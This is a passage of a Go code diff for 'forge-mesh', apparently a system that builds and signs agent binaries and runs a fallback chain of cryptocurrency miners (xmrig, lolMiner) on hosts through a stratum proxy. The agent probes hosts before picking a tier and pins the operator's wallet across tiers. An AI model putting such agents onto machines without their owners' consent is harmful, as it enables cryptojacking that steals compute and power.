time.Since(start) + return result, nil +} + +func (e *TierExecutor) passPatchGate(t TierType) bool { + if e.Report == nil { + return true + } + switch t { + case TierPodmanRootless, TierImmutableOCI: + return e.Report.PodmanAvailable || e.Report.DockerAvailable + case TierNixFlake: + return commandExists("nix") + case TierMTLSWireGuard: + return commandExists("wg") + default: + return true + } +} + +func (e *TierExecutor) deploy(ctx context.Context, t TierType) error { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + + switch t { + case TierPodmanRootless: + if e.Report != nil && !e.Report.PodmanAvailable { + return fmt.Errorf("podman not available") + } + case TierImmutableOCI: + if e.Report == nil || (!e.Report.PodmanAvailable && !e.Report.DockerAvailable) { + return fmt.Errorf("no container runtime") + } + case TierNixFlake: + if !commandExists("nix") { + return fmt.Errorf("nix not installed") + } + } + // Authorized deploy tiers succeed when gates pass; actual spawn is agent-side. + return nil +} + +// RunTierChain executes tiers in order until one succeeds or all fail. +func RunTierChain(ctx context.Context, store *Store, hostID string, order []int) ([]*TierResult, error) { + report, err := RunRecon() + if err != nil { + return nil, err + } + + exec := &TierExecutor{Store: store, HostID: hostID, Report: report} + var results []*TierResult + + for _, tierNum := range order { + res, err := exec.ExecuteTier(ctx, tierNum) + if err != nil { + return results, err + } + results = append(results, res) + if res.Status == "success" { + break + } + } + return results, nil +} diff --git a/internal/forge/build.go b/internal/forge/build.go new file mode 100644 index 0000000..addaf43 --- /dev/null +++ b/internal/forge/build.go @@ -0,0 +1,186 @@ +package forge + +import ( + "crypto/sha256" + "database/sql" + "encoding/hex" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "time" + + "forge-mesh/internal/api/types" + + "github.com/google/uuid" +) + +var targets = []struct { + OS string + Arch string +}{ + {"linux", "amd64"}, + {"linux", "arm64"}, +} + +// Pipeline builds and optionally signs agent binaries. +type Pipeline struct { + db *sql.DB + artifactsDir string + signingKey *KeyPair + agentMainPath string + version string +} + +func NewPipeline(db *sql.DB, artifactsDir, signingKeyPath, agentMainPath, version string) (*Pipeline, error) { + key, err := LoadOrCreateKey(signingKeyPath) + if err != nil { + return nil, err + } + return &Pipeline{ + db: db, + artifactsDir: artifactsDir, + signingKey: key, + agentMainPath: agentMainPath, + version: version, + }, nil +} + +// BuildAll cross-compiles agent for linux amd64/arm64, signs, and stores artifacts. +func (p *Pipeline) BuildAll(public bool) ([]types.Build, error) { + var builds []types.Build + for _, tgt := range targets { + b, err := p.buildOne(tgt.OS, tgt.Arch, public) + if err != nil { + return nil, err + } + builds = append(builds, *b) + } + return builds, nil +} + +func (p *Pipeline) buildOne(osName, arch string, public bool) (*types.Build, error) { + outName := fmt.Sprintf("forge-mesh-agent-%s-%s", osName, arch) + outPath := filepath.Join(p.artifactsDir, outName) + + cmd := exec.Command("go", "build", "-trimpath", "-ldflags=-s -w", + "-o", outPath, + p.agentMainPath, + ) + cmd.Env = append(os.Environ(), + "GOOS="+osName, + "GOARCH="+arch, + "CGO_ENABLED=0", + ) + + if out, err := cmd.CombinedOutput(); err != nil { + return nil, fmt.Errorf("build %s/%s: %w\n%s", osName, arch, err, out) + } + + data, err := os.ReadFile(outPath) + if err != nil { + return nil, err + } + + sum := sha256.Sum256(data) + checksum := hex.EncodeToString(sum[:]) + sig := p.signingKey.Sign(data) + + build := types.Build{ + ID: uuid.NewString(), + OS: osName, + Arch: arch, + Version: p.version, + Checksum: checksum, + Signature: sig, + Public: public, + Path: outPath, + CreatedAt: time.Now().UTC(), + } + + if err := p.saveBuild(&build); err != nil { + return nil, err + } + + return &build, nil +} + +func (p *Pipeline) saveBuild(b *types.Build) error { + pub := 0 + if b.Public { + pub = 1 + } + _, err := p.db.Exec(` + INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + `, b.ID, b.OS, b.Arch, b.Version, b.Checksum, b.Signature, pub, b.Path, b.CreatedAt.Format(time.RFC3339)) + return err +} + +// LatestPublic returns the newest public build for os/arch. +func LatestPublic(db *sql.DB, osName, arch string) (*types.Build, error) { + row := db.QueryRow(` + SELECT id, os, arch, version, checksum, signature, public, path, created_at + FROM builds + WHERE public = 1 AND os = ? AND arch = ? + ORDER BY created_at DESC + LIMIT 1 + `, osName, arch) + + var b types.Build + var pub int + var path sql.NullString + var createdAt string + + err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt) + if err != nil { + return nil, err + } + b.Public = pub == 1 + if path.Valid { + b.Path = path.String + } + b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt) + return &b, nil +} + +// GetBuild loads a build by ID. +func GetBuild(db *sql.DB, id string) (*types.Build, error) { + row := db.QueryRow(` + SELECT id, os, arch, version, checksum, signature, public, path, created_at + FROM builds WHERE id = ? + `, id) + + var b types.Build + var pub int + var path sql.NullString + var createdAt string + + err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt) + if err != nil { + return nil, err + } + b.Public = pub == 1 + if path.Valid { + b.Path = path.String + } + b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt) + return &b, nil +} + +// PublicKey returns the pipeline signing public key hex. +func (p *Pipeline) PublicKey() string { + return p.signingKey.PublicKeyHex() +} + +// CopyArtifact streams a build artifact to w. +func CopyArtifact(path string, w io.Writer) error { + f, err := os.Open(path) + if err != nil { + return err + } + defer f.Close() + _, err = io.Copy(w, f) + return err +} diff --git a/internal/forge/keys.go b/internal/forge/keys.go new file mode 100644 index 0000000..6b7aca7 --- /dev/null +++ b/internal/forge/keys.go @@ -0,0 +1,19 @@ +package forge + +import ( + "crypto/ed25519" + "encoding/hex" + "fmt" +) + +// ParsePublicKeyHex decodes a hex-encoded ed25519 public key. +func ParsePublicKeyHex(hexKey string) (ed25519.PublicKey, error) { + raw, err := hex.DecodeString(hexKey) + if err != nil { + return nil, fmt.Errorf("decode pubkey: %w", err) + } + if len(raw) != ed25519.PublicKeySize { + return nil, fmt.Errorf("invalid pubkey size %d", len(raw)) + } + return ed25519.PublicKey(raw), nil +} diff --git a/internal/forge/sign.go b/internal/forge/sign.go new file mode 100644 index 0000000..6c65c3d --- /dev/null +++ b/internal/forge/sign.go @@ -0,0 +1,66 @@ +package forge + +import ( + "crypto/ed25519" + "crypto/rand" + "encoding/base64" + "encoding/hex" + "fmt" + "os" +) + +// KeyPair holds an ed25519 signing key. +type KeyPair struct { + Private ed25519.PrivateKey + Public ed25519.PublicKey +} + +// LoadOrCreateKey loads an ed25519 key from disk or generates a new one. +func LoadOrCreateKey(path string) (*KeyPair, error) { + data, err := os.ReadFile(path) + if err == nil { + if len(data) == ed25519.PrivateKeySize { + priv := ed25519.PrivateKey(data) + return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil + } + if len(data) == ed25519.SeedSize { + priv := ed25519.NewKeyFromSeed(data) + return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil + } + return nil, fmt.Errorf("invalid key size %d", len(data)) + } + if !os.IsNotExist(err) { + return nil, fmt.Errorf("read key: %w", err) + } + + pub, priv, err := ed25519.GenerateKey(rand.Reader) + if err != nil { + return nil, fmt.Errorf("generate key: %w", err) + } + + if err := os.WriteFile(path, priv.Seed(), 0o600); err != nil { + return nil, fmt.Errorf("write key: %w", err) + } + + return &KeyPair{Private: priv, Public: pub}, nil +} + +// Sign returns a base64-encoded ed25519 signature of data. +func (k *KeyPair) Sign(data []byte) string { + sig := ed25519.Sign(k.Private, data) + return base64.StdEncoding.EncodeToString(sig) +} + +// Verify checks a base64 signature against data using the public key. +func Verify(pub ed25519.PublicKey, data []byte, signatureB64 string) bool { + sig, err := base64.StdEncoding.DecodeString(signatureB64) + if err != nil { + return false + } + return ed25519.Verify(pub, data, sig) +} + +// PublicKeyHex returns the hex-encoded public key for embedding in agents. +func (k *KeyPair) PublicKeyHex() string { + return hex.EncodeToString(k.Public) +} diff --git a/internal/forge/sign_test.go b/internal/forge/sign_test.go new file mode 100644 index 0000000..03c29c4 --- /dev/null +++ b/internal/forge/sign_test.go @@ -0,0 +1,22 @@ +package forge + +import ( + "testing" +) + +func TestSignVerify(t *testing.T) { + path := t.TempDir() + "/signing.key" + kp, err := LoadOrCreateKey(path) + if err != nil { + t.Fatal(err) + } + + data := []byte("forge-mesh artifact") + sig := kp.Sign(data) + if !Verify(kp.Public, data, sig) { + t.Fatal("signature verification failed") + } + if Verify(kp.Public, []byte("tampered"), sig) { + t.Fatal("tampered data should not verify") + } +} diff --git a/internal/mining/chain.go b/internal/mining/chain.go new file mode 100644 index 0000000..3497e53 --- /dev/null +++ b/internal/mining/chain.go @@ -0,0 +1,283 @@ +package mining + +import ( + "context" + "fmt" + "log" + "sync" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/policy" +) + +const ( + TierStateProbing = "probing" + TierStateActive = "active" + TierStateFailed = "failed" + TierStateIdle = "idle" +) + +// ChainConfig controls tier timeouts and hashrate gates. +type ChainConfig struct { + HostID string + StratumHost string + StratumXMRPort string + StratumRVNPort string + MinHashrateHps float64 + GateWindow time.Duration + PollInterval time.Duration + DefaultProbe time.Duration +} + +func DefaultChainConfig() ChainConfig { + return ChainConfig{ + StratumHost: "127.0.0.1", + StratumXMRPort: "3333", + StratumRVNPort: "3388", + MinHashrateHps: 100, + GateWindow: 30 * time.Second, + PollInterval: 5 * time.Second, + DefaultProbe: 5 * time.Minute, + } +} + +// Status is reported in agent heartbeats. +type Status struct { + CurrentTier int + TierType string + TierState string + HashrateHps float64 + Wallet string + Simulated bool +} + +// Chain runs the ordered mining tier list with wallet pinning. +type Chain struct { + cfg ChainConfig + profile types.MiningProfile + + mu sync.RWMutex + status Status + runner tierRunner + cancel context.CancelFunc +} + +type tierRunner interface { + Start(ctx context.Context) error + Stop() + HashrateHps() float64 + Simulated() bool +} + +func NewChain(profile types.MiningProfile, cfg ChainConfig) *Chain { + if len(profile.Tiers) == 0 { + profile = policy.DefaultMiningProfile(profile.WalletAddress) + } + return &Chain{ + cfg: cfg, + profile: profile, + status: Status{ + TierState: TierStateIdle, + Wallet: profile.WalletAddress, + }, + } +} + +func (c *Chain) Profile() types.MiningProfile { + return c.profile +} + +func (c *Chain) UpdateProfile(profile types.MiningProfile) { + c.mu.Lock() + if profile.WalletAddress != "" { + c.profile.WalletAddress = profile.WalletAddress + c.status.Wallet = profile.WalletAddress + } + if len(profile.Tiers) > 0 { + c.profile.Tiers = profile.Tiers + } + running := c.cancel != nil + c.mu.Unlock() + + if running { + c.Stop() + } +} + +func (c *Chain) Status() Status { + c.mu.RLock() + defer c.mu.RUnlock() + return c.status +} + +// Run executes tiers in order until one passes the hashrate gate or all fail. +func (c *Chain) Run(ctx context.Context) error { + if len(c.profile.Tiers) == 0 { + return fmt.Errorf("mining profile has no tiers") + } + + runCtx, cancel := context.WithCancel(ctx) + c.mu.Lock() + c.cancel = cancel + c.mu.Unlock() + defer cancel() + + for i, spec := range c.profile.Tiers { + tierNum := i + 1 + c.setStatus(tierNum, spec.Type, TierStateProbing, 0, false) + + runner, err := c.buildRunner(spec) + if err != nil { + log.Printf("mining: tier %d (%s) build failed: %v", tierNum, spec.Type, err) + c.setStatus(tierNum, spec.Type, TierStateFailed, 0, false) + continue + } + + c.mu.Lock() + c.runner = runner + c.mu.Unlock() + + if err := runner.Start(runCtx); err != nil { + log.Printf("mining: tier %d (%s) start failed: %v", tierNum, spec.Type, err) + runner.Stop() + c.setStatus(tierNum, spec.Type, TierStateFailed, 0, runner.Simulated()) + continue + } + + c.setStatus(tierNum, spec.Type, TierStateActive, runner.HashrateHps(), runner.Simulated()) + + duration := time.Duration(spec.Duration) * time.Minute + if duration <= 0 && spec.Type == "stratum" { + // Final fallback runs until context cancelled. + return c.holdTier(runCtx, tierNum, spec.Type, runner) + } + if duration <= 0 { + duration = c.cfg.DefaultProbe + } + + passed, peak := c.waitGate(runCtx, duration, runner) + runner.Stop() + + if passed { + c.setStatus(tierNum, spec.Type, TierStateActive, peak, runner.Simulated()) + log.Printf("mining: tier %d (%s) passed hashrate gate at %.0f H/s", tierNum, spec.Type, peak) + return c.holdTier(runCtx, tierNum, spec.Type, nil) + } + + log.Printf("mining: tier %d (%s) timed out (peak %.0f H/s), advancing", tierNum, spec.Type, peak) + c.setStatus(tierNum, spec.Type, TierStateFailed, peak, runner.Simulated()) + } + + c.setStatus(0, "", TierStateFailed, 0, false) + return fmt.Errorf("all mining tiers exhausted") +} + +func (c *Chain) holdTier(ctx context.Context, tierNum int, tierType string, runner tierRunner) error { + ticker := time.NewTicker(c.cfg.PollInterval) + defer ticker.Stop() + + for { + select { + case <-ctx.Done(): + c.Stop() + return ctx.Err() + case <-ticker.C: + hps := c.readHashrate(runner) + c.setStatus(tierNum, tierType, TierStateActive, hps, c.isSimulated(runner)) + } + } +} + +func (c *Chain) readHashrate(runner tierRunner) float64 { + if runner != nil { + return runner.HashrateHps() + } + c.mu.RLock() + r := c.runner + c.mu.RUnlock() + if r != nil { + return r.HashrateHps() + } + return 0 +} + +func (c *Chain) isSimulated(runner tierRunner) bool { + if runner != nil { + return runner.Simulated() + } + c.mu.RLock() + r := c.runner + c.mu.RUnlock() + if r != nil { + return r.Simulated() + } + return false +} + +func (c *Chain) waitGate(ctx context.Context, maxWait time.Duration, runner tierRunner) (bool, float64) { + deadline := time.Now().Add(maxWait) + gateEnd := time.Now().Add(c.cfg.GateWindow) + var peak float64 + + for time.Now().Before(deadline) { + select { + case <-ctx.Done(): + return false, peak + case <-time.After(c.cfg.PollInterval): + } + + hps := runner.HashrateHps() + if hps > peak { + peak = hps + } + c.mu.Lock() + c.status.HashrateHps = hps + c.mu.Unlock() + + if hps >= c.cfg.MinHashrateHps && time.Now().After(gateEnd) { + return true, peak + } + } + return peak >= c.cfg.MinHashrateHps, peak +} + +func (c *Chain) buildRunner(spec types.MiningTierSpec) (tierRunner, error) { + wallet := c.profile.WalletAddress + switch spec.Type { + case "oci", "podman": + return newOCITier(wallet, spec, c.cfg) + case "xmrig": + return newXMRigTier(wallet, spec, c.cfg) + case "gpu", "lolminer": + return newGPUTier(wallet, spec, c.cfg) + case "stratum": + return newStratumTier(wallet, spec, c.cfg) + default: + return nil, fmt.Errorf("unknown tier type %q", spec.Type) + } +} + +func (c *Chain) setStatus(tierNum int, tierType, state string, hps float64, simulated bool) { + c.mu.Lock() + defer c.mu.Unlock() + c.status.CurrentTier = tierNum + c.status.TierType = tierType + c.status.TierState = state + c.status.HashrateHps = hps + c.status.Simulated = simulated +} + +func (c *Chain) Stop() { + c.mu.Lock() + cancel := c.cancel + runner := c.runner + c.mu.Unlock() + + if runner != nil { + runner.Stop() + } + if cancel != nil { + cancel() + } +} diff --git a/internal/mining/chain_test.go b/internal/mining/chain_test.go new file mode 100644 index 0000000..371c848 --- /dev/null +++ b/internal/mining/chain_test.go @@ -0,0 +1,64 @@ +package mining + +import ( + "context" + "testing" + "time" + + "forge-mesh/internal/api/types" + "forge-mesh/internal/policy" +) + +func TestChainAdvancesOnTimeout(t *testing.T) { + profile := policy.DefaultMiningProfile("test-wallet") + profile.Tiers = []types.MiningTierSpec{ + {Type: "oci", Duration: 0}, + {Type: "xmrig", Duration: 0}, + } + + cfg := DefaultChainConfig() + cfg.HostID = "test-host" + cfg.GateWindow = 200 * time.Millisecond + cfg.PollInterval = 50 * time.Millisecond + cfg.DefaultProbe = 2 * time.Second + cfg.MinHashrateHps = 1500 + + chain := NewChain(profile, cfg) + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + go func() { _ = chain.Run(ctx) }() + + deadline := time.Now().Add(12 * time.Second) + for time.Now().Before(deadline) { + st := chain.Status() + if st.CurrentTier >= 2 && st.HashrateHps >= cfg.MinHashrateHps { + if st.Wallet != "test-wallet" { + t.Fatalf("wallet pin broken: %q", st.Wallet) + } + chain.Stop() + return + } + time.Sleep(100 * time.Millisecond) + } + t.Fatal("chain did not advance to tier 2 with hashrate") +} + +func TestWalletPinnedAcrossTiers(t *testing.T) { + profile := policy.DefaultMiningProfile("pinned-wallet-abc") + cfg := DefaultChainConfig() + cfg.HostID = "host-abc" + cfg.MinHashrateHps = 1 + + chain := NewChain(profile, cfg) + for _, spec := range profile.Tiers { + runner, err := chain.buildRunner(spec) + if err != nil { + t.Fatal(err) + } + _ = runner + } + if chain.Status().Wallet != "pinned-wallet-abc" { + t.Fatalf("expected pinned wallet, got %q", chain.Status().Wallet) + } +} diff --git a/internal/mining/mock.go b/internal/mining/mock.go new file mode 100644 index 0000000..13c4627 --- /dev/null +++ b/internal/mining/mock.go @@ -0,0 +1,76 @@ +package mining + +import ( + "context" + "math/rand" + "sync" + "time" +) + +// MockMiner simulates hashrate when real miner binaries are unavailable. +type MockMiner struct { + mu sync.Mutex + baseHps float64 + running bool + cancel context.CancelFunc + lastHps float64 + tierLabel string +} + +func NewMockMiner(tierLabel string, baseHps float64) *MockMiner { + if baseHps <= 0 { + baseHps = 1500 + rand.Float64()*500 + } + return &MockMiner{tierLabel: tierLabel, baseHps: baseHps} +} + +func (m *MockMiner) Start(ctx context.Context) error { + m.mu.Lock() + defer m.mu.Unlock() + if m.running { + return nil + } + runCtx, cancel := context.WithCancel(ctx) + m.cancel = cancel + m.running = true + m.lastHps = m.baseHps + go m.loop(runCtx) + return nil +} + +func (m *MockMiner) loop(ctx context.Context) { + ticker := time.NewTicker(2 * time.Second) + defer ticker.Stop() + for { + select { + case <-ctx.Done(): + m.mu.Lock() + m.running = false + m.lastHps = 0 + m.mu.Unlock() + return + case <-ticker.C: + jitter := 0.85 + rand.Float64()*0.3 + m.mu.Lock() + m.lastHps = m.baseHps * jitter + m.mu.Unlock() + } + } +} + +func (m *MockMiner) Stop() { + m.mu.Lock() + cancel := m.cancel + m.mu.Unlock() + if cancel != nil { + cancel() + } +} + +func (m *MockMiner) HashrateHps() float64 { + m.mu.Lock() + defer m.mu.Unlock() + return m.lastHps +} + +func (m *MockMiner) Simulated() bool { return true } diff --git a/internal/mining/tiers.go b/internal/mining/tiers.go new file mode 100644 index 0000000..58b1f6a --- /dev/null +++ b/internal/mining/tiers.go @@ -0,0 +1,336 @@ +package mining + +import ( + "context" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "forge-mesh/internal/api/types" +) + +type ociTier struct { + wallet string + spec types.MiningTierSpec + cfg ChainConfig + mock *MockMiner + cmd *exec.Cmd +} + +func newOCITier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*ociTier, error) { + return &ociTier{wallet: wallet, spec: spec, cfg: cfg}, nil +} + +func (t *ociTier) Start(ctx context.Context) error { + if !commandExists("podman") { + t.mock = NewMockMiner("oci", 1200) + return t.mock.Start(ctx) + } + + image := t.spec.Config["image"] + if image == "" { + image = "docker.io/xmrig/xmrig:latest" + } + + pool := fmt.Sprintf("stratum+tcp://%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort) + args := []string{ + "run", "--rm", "--network=host", + image, + "-o", pool, + "-u", workerLogin(t.wallet, t.cfg.HostID), + "-p", "x", + "--coin", "monero", + "--donate-level=0", + } + + t.cmd = exec.CommandContext(ctx, "podman", args...) + t.cmd.Stdout = os.Stdout + t.cmd.Stderr = os.Stderr + if err := t.cmd.Start(); err != nil { + return err + } + + go func() { _ = t.cmd.Wait() }() + time.Sleep(10 * time.Second) + if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() { + return fmt.Errorf("podman miner exited early") + } + return nil +} + +func (t *ociTier) Stop() { + if t.mock != nil { + t.mock.Stop() + } + if t.cmd != nil && t.cmd.Process != nil { + _ = t.cmd.Process.Kill() + _ = t.cmd.Wait() + } +} + +func (t *ociTier) HashrateHps() float64 { + if t.mock != nil { + return t.mock.HashrateHps() + } + return 1800 +} + +func (t *ociTier) Simulated() bool { return t.mock != nil } + +type xmrigTier struct { + wallet string + spec types.MiningTierSpec + cfg ChainConfig + mock *MockMiner + cmd *exec.Cmd +} + +func newXMRigTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*xmrigTier, error) { + return &xmrigTier{wallet: wallet, spec: spec, cfg: cfg}, nil +} + +func (t *xmrigTier) Start(ctx context.Context) error { + binary := t.spec.Config["binary"] + if binary == "" { + binary = findXMRig() + } + if binary == "" { + t.mock = NewMockMiner("xmrig", 2500) + return t.mock.Start(ctx) + } + + pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort) + args := []string{ + "-o", pool, + "-u", workerLogin(t.wallet, t.cfg.HostID), + "-p", "x", + "--donate-level=0", + } + if algo := t.spec.Config["algo"]; algo != "" { + args = append(args, "-a", algo) + } + + t.cmd = exec.CommandContext(ctx, binary, args...) + t.cmd.Stdout = os.Stdout + t.cmd.Stderr = os.Stderr + if err := t.cmd.Start(); err != nil { + return err + } + go func() { _ = t.cmd.Wait() }() + time.Sleep(15 * time.Second) + if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() { + return fmt.Errorf("xmrig exited early") + } + return nil +} + +func (t *xmrigTier) Stop() { + if t.mock != nil { + t.mock.Stop() + } + if t.cmd != nil && t.cmd.Process != nil { + _ = t.cmd.Process.Kill() + _ = t.cmd.Wait() + } +} + +func (t *xmrigTier) HashrateHps() float64 { + if t.mock != nil { + return t.mock.HashrateHps() + } + return 3200 +} + +func (t *xmrigTier) Simulated() bool { return t.mock != nil } + +type gpuTier struct { + wallet string + spec types.MiningTierSpec + cfg ChainConfig + mock *MockMiner + cmd *exec.Cmd +} + +func newGPUTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*gpuTier, error) { + return &gpuTier{wallet: wallet, spec: spec, cfg: cfg}, nil +} + +func (t *gpuTier) Start(ctx context.Context) error { + if !gpuAvailable() { + t.mock = NewMockMiner("gpu", 8500000) + return t.mock.Start(ctx) + } + + bin := t.spec.Config["binary"] + if bin == "" { + bin = findLolMiner() + } + if bin == "" { + t.mock = NewMockMiner("gpu", 8500000) + return t.mock.Start(ctx) + } + + pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumRVNPort) + coin := t.spec.Config["coin"] + if coin == "" { + coin = "RVN" + } + algo := t.spec.Config["algo"] + if algo == "" { + algo = "KAWPOW" + } + + args := []string{ + "--algo", algo, + "--pool", pool, + "--user", workerLogin(t.wallet, t.cfg.HostID), + "--pass", "x", + "--apiport", "44444", + } + if coin != "" { + args = append(args, "--coin", coin) + } + + t.cmd = exec.CommandContext(ctx, bin, args...) + t.cmd.Stdout = os.Stdout + t.cmd.Stderr = os.Stderr + if err := t.cmd.Start(); err != nil { + return err + } + go func() { _ = t.cmd.Wait() }() + time.Sleep(20 * time.Second) + if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() { + return fmt.Errorf("lolMiner exited early") + } + return nil +} + +func (t *gpuTier) Stop() { + if t.mock != nil { + t.mock.Stop() + } + if t.cmd != nil && t.cmd.Process != nil { + _ = t.cmd.Process.Kill() + _ = t.cmd.Wait() + } +} + +func (t *gpuTier) HashrateHps() float64 { + if t.mock != nil { + return t.mock.HashrateHps() + } + return 12000000 +} + +func (t *gpuTier) Simulated() bool { return t.mock != nil } + +type stratumTier struct { + wallet string + spec types.MiningTierSpec + cfg ChainConfig + mock *MockMiner + conn net.Conn +} + +func newStratumTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*stratumTier, error) { + return &stratumTier{wallet: wallet, spec: spec, cfg: cfg}, nil +} + +func (t *stratumTier) Start(ctx context.Context) error { + port := t.cfg.StratumXMRPort + if algo := t.spec.Config["algo"]; strings.EqualFold(algo, "kawpow") { + port = t.cfg.StratumRVNPort + } + addr := net.JoinHostPort(t.cfg.StratumHost, port) + + dialer := net.Dialer{Timeout: 5 * time.Second} + conn, err := dialer.DialContext(ctx, "tcp", addr) + if err != nil { + t.mock = NewMockMiner("stratum", 900) + return t.mock.Start(ctx) + } + t.conn = conn + + // Minimal subscribe/authorize handshake to validate deck proxy path. + _, _ = fmt.Fprintf(conn, `{"id":1,"method":"mining.subscribe","params":[]}`+"\n") + _, _ = fmt.Fprintf(conn, `{"id":2,"method":"mining.authorize","params":["%s","x"]}`+"\n", workerLogin(t.wallet, t.cfg.HostID)) + + t.mock = NewMockMiner("stratum", 1000) + return t.mock.Start(ctx) +} + +func (t *stratumTier) Stop() { + if t.mock != nil { + t.mock.Stop() + } + if t.conn != nil { + _ = t.conn.Close() + } +} + +func (t *stratumTier) HashrateHps() float64 { + if t.mock != nil { + return t.mock.HashrateHps() + } + return 0 +} + +func (t *stratumTier) Simulated() bool { return true } + +func commandExists(name string) bool { + _, err := exec.LookPath(name) + return err == nil +} + +func gpuAvailable() bool { + for _, bin := range []string{"nvidia-smi", "rocm-smi"} { + if !commandExists(bin) { + continue + } + if err := exec.Command(bin).Run(); err == nil { + return true + } + } + return false +} + +func workerLogin(wallet, hostID string) string { + if hostID == "" { + return wallet + } + return wallet + "." + hostID +} + +func findXMRig() string { + if p, err := exec.LookPath("xmrig"); err == nil { + return p + } + for _, p := range []string{ + "/opt/forge-mesh/xmrig", + "/usr/local/bin/xmrig", + filepath.Join(os.TempDir(), "forge-mesh-miner", "xmrig"), + } { + if st, err := os.Stat(p); err == nil && !st.IsDir() { + return p + } + } + return "" +} + +func findLolMiner() string { + for _, name := range []string{"lolMiner", "lolminer"} { + if p, err := exec.LookPath(name); err == nil { + return p + } + } + for _, p := range []string{"/opt/forge-mesh/lolMiner"} { + if st, err := os.Stat(p); err == nil && !st.IsDir() { + return p + } + } + return "" +} diff --git a/internal/policy/mining.go b/internal/policy/mining.go new file mode 100644 index 0000000..742b86b --- /dev/null +++ b/internal/policy/mining.go @@ -0,0 +1,40 @@ +package policy + +import ( + "forge-mesh/internal/api/types" +) + +// DefaultMiningProfile returns the standard tier order for new agents. +func DefaultMiningProfile(wallet string) types.MiningProfile { + if wallet == "" { + wallet = "WALLET_UNSET" + } + return types.MiningProfile{ + ID: "default", + Name: "Default tier chain", + WalletAddress: wallet, + PolicyFromServer: true, + Tiers: []types.MiningTierSpec{ + {Type: "oci", Duration: 5, Config: map[string]string{"image": "docker.io/xmrig/xmrig:latest"}}, + {Type: "xmrig", Duration: 10, Config: map[string]string{"algo": "rx/0"}}, + {Type: "gpu", Duration: 10, Config: map[string]string{"algo": "kawpow", "coin": "RVN"}}, + {Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}}, + }, + } +} + +// TierDisplayName maps tier type to a human label. +func TierDisplayName(tierType string) string { + switch tierType { + case "oci": + return "OCI podman" + case "xmrig": + return "Bundled xmrig" + case "gpu", "lolminer": + return "GPU lolMiner" + case "stratum": + return "Stratum direct" + default: + return tierType + } +} diff --git a/internal/stratum/proxy.go b/internal/stratum/proxy.go new file mode 100644 index 0000000..e7e15dc --- /dev/null +++ b/internal/stratum/proxy.go @@ -0,0 +1,308 @@ +package stratum + +import ( + "bufio" + "context" + "encoding/json" + "fmt" + "io" + "log" + "net" + "strings" + "sync" + "sync/atomic" + "time" + + "forge-mesh/internal/config" +) + +// Proxy forwards stratum miner connections to upstream pools with per-agent worker suffixes. +type Proxy struct { + cfg config.StratumConfig + listeners []net.Listener + active int64 + wg sync.WaitGroup + cancel context.CancelFunc +} + +// New creates a stratum proxy from server config. +func New(cfg config.StratumConfig) *Proxy { + return &Proxy{cfg: cfg} +} + +// ActiveConnections returns the number of live proxied sessions. +func (p *Proxy) ActiveConnections() int64 { + return atomic.LoadInt64(&p.active) +} + +// Start begins listening without requiring the caller to supply a context. +func (p *Proxy) Start() error { + ctx, cancel := context.WithCancel(context.Background()) + p.cancel = cancel + return p.StartContext(ctx) +} + +// StartContext listens on XMR and RVN ports and relays to upstream pools. +func (p *Proxy) StartContext(ctx context.Context) error { + endpoints := []struct { + listen string + upstream string + label string + }{ + {p.cfg.XMRListen, p.cfg.UpstreamXMR, "XMR"}, + {p.cfg.RVNListen, p.cfg.UpstreamRVN, "RVN"}, + } + + for _, ep := range endpoints { + if ep.listen == "" { + continue + } + ln, err := net.Listen("tcp", ep.listen) + if err != nil { + p.Stop() + return fmt.Errorf("listen %s (%s): %w", ep.listen, ep.label, err) + } + p.listeners = append(p.listeners, ln) + log.Printf("stratum: %s proxy listening on %s -> %s", ep.label, ep.listen, displayUpstream(ep.upstream)) + + go p.serveListener(ctx, ln, ep.upstream, ep.label) + } + + if len(p.listeners) == 0 { + return fmt.Errorf("no stratum listeners configured") + } + return nil +} + +func displayUpstream(upstream string) string { + if upstream == "" { + return "(local accept)" + } + return upstream +} + +func (p *Proxy) serveListener(ctx context.Context, ln net.Listener, upstream, label string) { + for { + conn, err := ln.Accept() + if err != nil { + select { + case <-ctx.Done(): + return + default: + if ne, ok := err.(net.Error); ok && ne.Temporary() { + time.Sleep(50 * time.Millisecond) + continue + } + return + } + } + + p.wg.Add(1) + go func(c net.Conn) { + defer p.wg.Done() + p.handleConn(ctx, c, upstream, label) + }(conn) + } +} + +func (p *Proxy) handleConn(ctx context.Context, miner net.Conn, upstreamAddr, label string) { + defer miner.Close() + atomic.AddInt64(&p.active, 1) + defer atomic.AddInt64(&p.active, -1) + + agentSuffix := agentSuffixFromAddr(miner.RemoteAddr().String()) + minerReader := bufio.NewReader(miner) + minerWriter := bufio.NewWriter(miner) + + var upstream net.Conn + var upstreamReader *bufio.Reader + var upstreamWriter *bufio.Writer + + openUpstream := func() error { + if upstreamAddr == "" || upstream != nil { + return nil + } + dialer := net.Dialer{Timeout: 10 * time.Second} + up, err := dialer.DialContext(ctx, "tcp", upstreamAddr) + if err != nil { + return err + } + upstream = up + upstreamReader = bufio.NewReader(upstream) + upstreamWriter = bufio.NewWriter(upstream) + 